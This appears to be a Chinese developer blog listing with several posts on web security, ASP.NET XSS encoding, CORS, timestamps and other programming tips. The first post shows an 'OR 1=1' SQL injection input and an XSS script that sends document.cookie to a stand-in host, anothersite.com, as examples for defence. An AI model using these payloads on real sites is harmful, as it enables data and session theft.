博客 (838)

互联网项目里边,SQL 注入漏洞XSS 漏洞猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。

这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得输入里的单引号进行转义

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说,假设页面输出为:

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。

要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。

最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

R
转自 Reginald 9 年前
5,312

XSS (跨站脚本攻击)虽然手段初级,但网站开发者稍不留神就会给黑客留下机会。在 ASP.NET 中,默认阻止了表单文本中的危险字符(譬如 HTML 标签),但有时为了功能需求,我们需要在服务端获取用户输入的任何文本或者富文本编辑器的内容,那么首先应该使用 JS 将数据进行 HTML 编码。

将以下测试文本填入到多行文本框内:

&a=1
'">ABC<'"
</pre>PRE<pre>
</textarea>AREA<textarea>
<script>alert(1)</script>

或将以下测试文本填入到单行文本框内:

&a=1'">a< /input>b<input value='"c<script>alert(1)</script>

使用 jQuery 异步 POST 方式提交到服务端:

$.post("post.aspx", {
  myData: $("#myTextarea").val()
}, function (data) {
  console.log(data);
}, 'text');

这时,post.aspx 将返回 500 内部服务器错误:

从客户端(......)中检测到有潜在危险的 Request.Form 值。

将提交代码稍作改动,把 POST 数据进行 HTML 编码

$.post("post.aspx", {
  myData: $('<div />').text($("#myTextarea").val()).html()
}, function (data) {
  console.log(data);
}, 'text');

这样,服务端接收到的 myData 值应该是:

&amp;a=1
'"&gt;ABC&lt;'"
&lt;/pre&gt;PRE&lt;pre&gt;
&lt;/textarea&gt;AREA&lt;textarea&gt;
&lt;script&gt;alert(1)&lt;/script&gt;

顺利通过 ValidateRequest 的检验。

我们在服务端对其进行一次 HTML 解码

string myData = HttpUtility.HtmlDecode(Request.Form["myData"]);
// 接收时,去首尾空格、去 null
string myData = HttpUtility.HtmlDecode(Request.Form["myData"]?.Trim() ?? "");

客户端的编码和服务端的解码是一对互操作。

我们把用户输入的原始内容存入数据库中。

页面输出时,必须要经过 HTML 编码,否则内容将被解释成 HTML,出现跨站攻击漏洞。下面列出常见的输出到页面的方法(注意区分 <%=<%:<%# 与 <%#:)。这样,浏览器中查看源代码看到的即是 HTML 编码的内容,渲染后看到的即是原本在输入框中输入的原文。

// WebForm 输出到 div
<div><%: myData %></div>

// WebForm 输出到 pre
<pre><%: myData %></pre>

// WebForm 输出到文本脚本
<script type="text/plain"><%: myData %></script>

// WebForm 输出到单行文本框
<input type="text" value='<%: myData %>' />

// WebForm 输出到多行文本框
<textarea><%: myData %></textarea>

// WebForm 赋值到 <asp:TextBox /> (不需要手动 HtmlEncode)
input_myData.Text = myData;

// WebForm 绑定到数据控件
<%#: Eval("myData") %>

// MVC Razor
@Html.DisplayFor(model => model.myData)
// 或
@Model.myData

<%: 会自动替换 "'&quot;&#39;,不用担心输出到 <input /> 的 value 属性中会产生问题。

如果数据由 <textarea /> 提供并希望在输出时保持换行,那么先执行 HtmlEncode,再替换换行符:

// WebForm 输出到 div
<div><%= HttpUtility.HtmlEncode(myData)?.Replace(" ", "&nbsp;").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %></div>

// WebForm 输出到 pre(无须处理换行)
<pre><%: myData %></pre>

// WebForm 绑定到数据控件
<%# HttpUtility.HtmlEncode(Eval("myData"))?.Replace(" ", "&nbsp;").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %>

更特殊的例子:

// WebForm 输出到 Highcharts
var chart = Highcharts.chart('container', {
  title: {
    text: $('<div />').html('《<%: exam.title.Replace("\r", "").Replace("\n", "") %>》问卷回收量').html()
  },
  ...
});

// 导出 Excel 时指定文件名(会自动替换非法字符)
Response.AddHeader("Content-Disposition", string.Format("attachment; filename={0}.xls", exam.title));

如果我们使用在线编辑器来编辑我们的内容,需要在浏览输出时实现“所见即所得”,那么就需要将原文输出到源代码,渲染后展示效果:

// ASPX
<%= myData %>

// Razor
@Html.Raw(Model.myData)

务必保证是网站编辑人员在授权登录下提交在线编辑器的内容,否则可能成为跨站攻击的漏洞。通常不建议普通网友使用在线编辑器,如一定要用,必须处理一些危险的标签,参此文


总结

客户端输入的原文,经过 JS 的 HTML 编码传输到服务器,HTML 解码后存入数据库,读取展示时 HTML 编码输出(在线编辑器的内容不需要编码)。


建议

如果我们对所有输入的字符串作以上编码解码的处理想必是非常繁琐且容易出错的。微软提供了 ValidateRequest,不用不是太浪费了?

对于普通的文本框输入,我们省略 JS 端的 HTML 编码,省略服务端的 HTML 解码即可,输出仍然按文中描述处理。

好的用户体验是在 Request.Form["xxx"] 时进行容错处理并返回客户端友好提示。

我们仅针对在线编码器及需要以代码为内容的数据提交进行编码、解码处理,以绕过 ValidateRequest。


顺便提一下,千万不要这样写:

<%= Request.QueryString["xxx"] %>

千万不要动态拼接 SQL 语句,防止 SQL 注入。

xoyozo 9 年前
5,705

在本教程中,我解释了如何使用 jQuery 和 ASP.NET 发送跨域 AJAX 请求,PHP 开发者请参考此文

跨域 AJAX 请求有两种方式:

1). 使用 JSONP

2). 使用 CORS(跨源资源共享)

1). 使用 JSONP

我们可以使用 JSONP 发送跨域 AJAX 请求。下面是简单的 JSONP 请求:

$.ajax({
    url : "http://xoyozo.net/cross-domain-cors/jsonp.aspx",
    dataType:"jsonp",
    jsonp:"mycallback",
    success:function(data)
    {
        alert("Name:"+data.name+"nage:"+data.age+"nlocation:"+data.location);
    }
});

jsonp.aspx 响应是:

mycallback({"name": "Ravishanker", "age": 32, "location": "India"})

当 JSONP 请求成功时,调用 mycallback 函数。

这能在所有浏览器中正常运行,但问题是:JSONP 只支持 GET 方法,不支持 POST 方法。

2). 使用 CORS(跨源资源共享)

出于安全考虑,浏览器不允许跨域 AJAX 请求。仅当服务器指定相同的源安全策略时,才允许跨域请求。常见的异常警告:

You can not send Cross Domain AJAX requests: 

XMLHttpRequest cannot load. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin is therefore not allowed access.

阅读更多关于跨源资源共享(CORS):Wiki

要启用 CORS,您需要在服务器中指定以下 HTTP 标头。

Access-Control-Allow-Origin &ndash; 允许跨域请求的域的名称。 * 表示允许所有域。

Access-Control-Allow-Methods &ndash; 在请求期间可以使用 HTTP 方法的列表。

Access-Control-Allow-Headers &ndash; 可以在请求期间使用 HTTP 头列表。

在 ASP.NET 中,您可以使用以下代码设置标头:

Response.AddHeader("Access-Control-Allow-Origin", "*");
Response.AddHeader("Access-Control-Allow-Methods", "GET, PUT, POST, DELETE, OPTIONS");
Response.AddHeader("Access-Control-Allow-Headers", "Content-Type, Content-Range, Content-Disposition, Content-Description");

CORS 在所有最新的浏览器中正常工作,但不支持 IE8 和 IE9,异常:

You can not send Cross Domain AJAX requests: No Transport

IE8、IE9 使用 window.XDomainRequest 处理 AJAX 请求。我们可以使用这个 jQuery 插件:

https://github.com/MoonScript/jQuery-ajaxTransport-XDomainRequest

为了在 IE 中使用 XDomainRequest,请求必须是:

a). GET 或 POST

    数据必须以 Content-Type 为 text/plain 的方式发送

b). HTTP 或 HTTPS

    协议必须与调用页面相同

c). 异步

具体步骤:

第一步:在 <head> 中添加脚本

<script type='text/javascript' src="http://cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.1/jquery.xdomainrequest.min.js"></script>

第二步:在 $.ajax 请求中设置 contentType 值 text/plain

var contentType ="application/x-www-form-urlencoded; charset=utf-8";
 
if(window.XDomainRequest) // for IE8,IE9
    contentType = "text/plain";
 
$.ajax({
    url: "http://xoyozo.net/cross-domain-cors/post.aspx",
    data: "name=Ravi&age=12",
    type: "POST",
    dataType: "json",   
    contentType: contentType,    
    success: function(data)
    {
       alert("Data from Server" + JSON.stringify(data));
    },
    error: function(jqXHR, textStatus, errorThrown)
    {
       alert("You can not send Cross Domain AJAX requests: " + errorThrown);
    }
});

post.aspx 源码:

Response.AddHeader("Access-Control-Allow-Origin", "*");
Response.AddHeader("Access-Control-Allow-Methods", "GET, PUT, POST, DELETE, OPTIONS");
Response.AddHeader("Access-Control-Allow-Headers", "Content-Type, Content-Range, Content-Disposition, Content-Description");

NameValueCollection nvc = new NameValueCollection();
// nvc.Add(Request.QueryString);
nvc.Add(Request.Form);
if (nvc.Count == 0)
{
  string data = System.Text.Encoding.Default.GetString(Request.BinaryRead(Request.TotalBytes));
  nvc = HttpUtility.ParseQueryString(data);
}

string name = nvc["name"];
int age = Convert.ToInt32(nvc["age"]);

 

xoyozo 9 年前
7,075

UTC(世界协调时间)和 GMT(格林尼治标准时间)都与英国伦敦的本地时间相同。北京是东八区,即 UTC+8 或 GMT+0800

时间戳是指格林威治时间1970年01月01日00时00分00秒(北京时间1970年01月01日08时00分00秒)起至现在的总秒数。

翻译成程序员语言就是指当前的本地时间与 1970-1-1 0:00:00 UTC 时间换算的本地时间相差的秒数
或者当前的 UTC 时间与 1970-1-1 0:00:00 UTC 时间相差的秒数

以我在北京时间 2000/1/1 8:00:00 站在东八区为例:

在 JS 中:

// 获取当前本地时间:
new Date()
// 返回:Jan 1 2000 8:00:00 GMT+0800(中国标准时间)

// 获取当前 UTC 时间字符串:
(Local Time).toUTCString()
// 返回:Jan 1 2000 0:00:00 GMT

// 初始化一个 UTC 时间 2000-1-1 0:00:00
new Date(Date.UTC(2000, 1 - 1, 1, 0, 0, 0))

// 获取 UTC 时间的本地时间字符串:
(UTC Time).toLocaleString()


// 本地时间 1970/1/1 8:00:00 的时间戳
new Date(1970, 1 - 1, 1, 8, 0, 0).getTime() / 1000
// 返回:0

// 本地时间 2000/1/1 8:00:00 的时间戳
new Date(2000, 1 - 1, 1, 8, 0, 0).getTime() / 1000
// 返回:946684800

// 本地时间 当前 的时间戳
new Date().getTime() / 1000

// UTC 时间 2000/1/1 0:00:00 的时间戳
new Date(Date.UTC(2000, 1 - 1, 1, 0, 0, 0)).getTime() / 1000
// 或
Date.UTC(2000, 1 - 1, 1, 0, 0, 0) / 1000
// 返回:946684800

在 C# 中:

DateTime 默认的 Kind 是 Local,使用 DateTime.SpecifyKind() 方法可以定义一个 UTC 时间
DateTime.Now 返回当前本地时间
DateTime.UtcNow 返回当前 UTC 时间

// 定义一个本地时间 2000/1/1 8:00:00
new DateTime(2000, 1, 1, 8, 0, 0)

// 定义一个 UTC 时间 2000/1/1 0:00:00
DateTime.SpecifyKind(new DateTime(2000, 1, 1), DateTimeKind.Utc)

// 将 UTC 时间转化为本地时间
(UTC Time).ToLocalTime()

// 将本地时间转化为 UTC 时间
(Local Time).ToUniversalTime()

再次说明,本地时间和 UTC 时间都是 DateTime 对象,关键看定义的时候是 Local 还是 Utc

// 本地时间 1970/1/1 8:00:00 的时间戳
(new DateTime(1970, 1, 1, 8, 0, 0) - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds
// 返回:0

// 本地时间 2000/1/1 8:00:00 的时间戳
(new DateTime(2000, 1, 1, 8, 0, 0) - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds
// 返回:946684800

// 本地时间 当前 的时间戳
(DateTime.Now - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds


// 将时间戳 946684800 转换为本地时间
DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime().AddSeconds(946684800)

实战:

如果我们要将时间戳精确到毫秒,那么 JS 直接 .getTime() 即可,不需要 / 1000,C# 将它转换为本地时间时用 AddMilliseconds 代替 AddSeconds。

中国跨越了多个时区却统一使用北京时间,所以国内网站只要记录本地时间即可;如果做国际站或者有不同国家的访客,除非全部由服务器端获取时间,否则客户端 JS 的本地时间(非时间戳)都需要转换成 UTC 时间来跟服务端的时间进行运算和保存,推荐使用时间戳在客户端和服务端之间传递,因为时间戳与时区无关,它是两个相同性质的时间(同为本地时间或同为 UTC 时间)的差值。

xoyozo 9 年前
14,348

兼容建议:(2017年初)

连淘宝都放弃 IE6 了,就不需要再坚持了;

IE7 跟错了老大(Vista),已经没有市场了;

当前市场份额最大的操作系统还是 Win7,所以 IE8 是必须要兼容的,就算国人都安装了国产浏览器,内核也未必会升到 IE9-11。

当然每个站的访客群体不同,具体还得参考网站统计数据来确定兼容级别。

为了友好,建议你在不打算兼容的浏览器上提供升级提示和新版下载链接。

如果是纯移动端,那么大胆地用 HTML5 就行了。

以下例举我遇到过的兼容问题:

浏览器版本 注意事项
IE6-7 <input type="radio" /> 必须设置 name 才能被选中
IE6-7 不支持 console.log
IE6-7 不支持 JSON.stringify
所有 IE 不支持 <input /> 新的 type 类型,查看详情
xoyozo 9 年前
4,961

文章表:

文章ID 分类ID 标题 阅读数
1 1 第一篇文章 8
2 1 第二篇文章 9
3 2 第三篇文章 8

分类表:

分类ID 分类名称
1 国内新闻
2 国际新闻

问题:怎样获取每个分类中的最新一篇文章?

错误尝试:如果先查分类表,再判断按分类ID去取各自的最新一篇文章,性能是极差的。

思路:查文章表并按分类ID分组,取出该组的最新一篇文章ID,再IN出这些文章。

SQL:

select * from 文章表 
where 文章ID in(
    select max(文章ID) from 文章表 
    group by 分类ID
    ) 

因为文章ID是唯一的,所以以上写法的结果没有问题。

但是如果我们要获取每个分类中阅读量最高的文章,同样有以下 SQL:

select * from 文章表 
where 阅读数 in(
    select max(阅读数) from 文章表 
    group by 分类ID
    ) 
order by 阅读数 desc

这就导致“国内新闻”这个分类的两篇文章都被列出,因为该分类下阅读数居第二的文章的阅读数也是与“国际新闻”阅读数首位的文章相同。

大家有没有更好的思路来完美解决这个问题?注意是 MSSQL 中,MySQL 没有这个烦恼。

xoyozo 9 年前
5,148

场景:分区时提示无法创建分区。

原因:在不支持 UEFI 的电脑使用大于 2T 的硬盘。

效果:分区时将所有分区删除后,同一块磁盘会出现两个“未分配空间”,第一个是 2048GB,也就是说旧电脑最多只能用到 2T 的空间。(尚未验证一块磁盘最多用到 2T 还是所有磁盘相加最多用到 2T)

解决:看看 BIOS 有没有开启 UEFI 的选项,否则就把旧电脑扔了吧。

xoyozo 9 年前
6,538

最近要做个简单的类似 CNZZ 和百度统计的统计器,不可避免地遇到 JS 文件异步加载 和 给 JS 文件传参 的问题。

参考了 CNZZ 的代码以后,在 Chrome 的控制台发现以下警告:

A Parser-blocking, cross-origin script, http://s4.cnzz.com/stat.php?***, is invoked via document.write. This may be blocked by the browser if the device has poor network connectivity. See https://www.chromestatus.com/feature/5718547946799104 for more details.

Paul Kinlan 给出了解释,是因为使用了 document.write() 的方式输出了 <script src="***" /> HTML DOM,建议改成 document.appendChild() 或 parentNode.insertBefore(),最好的例子就是 Google Analytics

<!-- Google Analytics -->
<script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->

上述 JavaScript 跟踪代码段可以确保该脚本在所有浏览器中加载和异步执行。

加了一些注释,便于理解,官方英文版

(function (i, s, o, g, r, a, m) {
  i['GoogleAnalyticsObject'] = r;
  // console.log(window['GoogleAnalyticsObject']) // 'ga'
  // console.log(i[r]) // undefined
  i[r] = i[r] || function () { // i[r] 就是 window['ga'],定义了一个函数
    (i[r].q = i[r].q || []).push(arguments) // 往 ga.q 这个数组中增加一项
  },
  i[r].l = 1 * new Date(); // 时间戳,写法等同于 new Date().getTime()
  // console.log(i[r]) // window['ga'] 就是上面那个 function
  a = s.createElement(o), // 创建一个 script 元素
  m = s.getElementsByTagName(o)[0]; // 文档中的第一个脚本(文档中肯定至少已有一个脚本了)
  a.async = 1; // 异步加载
  a.defer = 1; // 兼容旧浏览器(我自己加的)
  a.src = g;
  m.parentNode.insertBefore(a, m) // 将 a 脚本插入到 m 脚本之前
})(window, document, 'script', 'http://***/***.js', 'ga');
// i s o g r
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');

过程是:

创建了一个 <script> 元素,并异步加载 http://***/***.js;初始化了一个全局函数 ga;在 ga() 命令队列中添加了两条命令。

现在我们可以在这个外部 js 中使用 ga.q 这个对象中的数据了,示例:

;(function () {
  console.log(ga.q);
})(window);

简单补充下,async 是 HTML5 属性,使支持异步加载 JS 文件;defer 只支持 IE,作用类似。

测试异步只需要将 js 文件换成服务端页面,并人为设置 sleep 时间即可,阻塞式调用的话会在加载 js 时暂停后续页面的渲染。

xoyozo 9 年前
7,785
Dictionary<TKey, TValue> dic = q.ToDictionary(k => k.field1, v => v.field2);
xoyozo 9 年前
5,489

在使用 VS 2015 修改 C# 5 项目时,如果使用了 C# 6 的新特性,会提示:

功能“空传播运算符”在 C# 5 中不可用。请使用语言版本 6 或更高版本。

升级到 C# 6 很简单,在 VS 菜单中依次点击:

项目 - 启用 C# 6 / VB 14(#)

选择需要升级的项目,确定即可。

image.png

xoyozo 9 年前
14,115